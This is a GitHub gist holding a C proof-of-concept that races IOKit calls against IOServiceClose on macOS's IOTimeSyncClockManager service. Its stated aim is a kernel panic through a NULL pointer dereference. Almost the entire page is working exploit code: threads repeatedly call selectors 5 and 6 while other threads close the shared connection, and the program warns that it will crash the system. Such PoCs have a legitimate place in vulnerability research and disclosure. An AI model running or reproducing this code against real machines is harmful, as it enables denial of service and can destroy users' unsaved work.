Skip to content

Instantly share code, notes, and snippets.

@t3tra-dev
Created June 2, 2026 13:10
Show Gist options
  • Select an option

  • Save t3tra-dev/d4acd269cc09f4322692dd100fbbbbd7 to your computer and use it in GitHub Desktop.

Select an option

Save t3tra-dev/d4acd269cc09f4322692dd100fbbbbd7 to your computer and use it in GitHub Desktop.
Deterministic Kernel Panic (NULL Pointer Dereference) via Race Condition in IOTimeSyncClockManager
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <stdatomic.h>
#include <IOKit/IOKitLib.h>
#define NCALLERS 6
#define NCLOSERS 4
#define ITERS 30000
static _Atomic io_connect_t g_conn;
static _Atomic int g_done;
static void *caller(void *arg)
{
(void)arg;
while (!atomic_load(&g_done)) {
io_connect_t c = atomic_load(&g_conn);
if (c == IO_OBJECT_NULL) continue;
uint64_t out[4];
uint32_t oc;
for (uint32_t sel = 5; sel <= 6; sel++) {
oc = 4;
memset(out, 0, sizeof(out));
IOConnectCallScalarMethod(c, sel, NULL, 0, out, &oc);
}
}
return NULL;
}
static void *closer(void *arg)
{
(void)arg;
while (!atomic_load(&g_done)) {
io_connect_t c = atomic_load(&g_conn);
if (c == IO_OBJECT_NULL) continue;
IOServiceClose(c);
}
return NULL;
}
int main(void)
{
printf("IOTimeSyncClockManager Race Condition PoC\n");
printf("uid=%d iters=%d callers=%d closers=%d\n",
getuid(), ITERS, NCALLERS, NCLOSERS);
printf("WARNING: This will trigger a kernel panic. Save your work.\n");
printf("Starting in 3 seconds...\n");
fflush(stdout);
sleep(3);
mach_port_t mp;
IOMasterPort(MACH_PORT_NULL, &mp);
io_service_t svc = IOServiceGetMatchingService(
mp, IOServiceMatching("IOTimeSyncClockManager"));
if (!svc) {
fprintf(stderr, "Error: IOTimeSyncClockManager service not found.\n");
return 1;
}
atomic_init(&g_conn, IO_OBJECT_NULL);
atomic_init(&g_done, 0);
pthread_t ct[NCALLERS], cl[NCLOSERS];
for (int i = 0; i < NCALLERS; i++)
pthread_create(&ct[i], NULL, caller, NULL);
for (int i = 0; i < NCLOSERS; i++)
pthread_create(&cl[i], NULL, closer, NULL);
for (int i = 0; i < ITERS; i++) {
io_connect_t c = 0;
if (IOServiceOpen(svc, mach_task_self(), 0, &c) == 0) {
atomic_store(&g_conn, c);
}
}
atomic_store(&g_done, 1);
for (int i = 0; i < NCALLERS; i++) pthread_join(ct[i], NULL);
for (int i = 0; i < NCLOSERS; i++) pthread_join(cl[i], NULL);
io_connect_t c = atomic_load(&g_conn);
if (c != IO_OBJECT_NULL) IOServiceClose(c);
IOObjectRelease(svc);
printf("No panic triggered in this run. Re-run or increase ITERS.\n");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment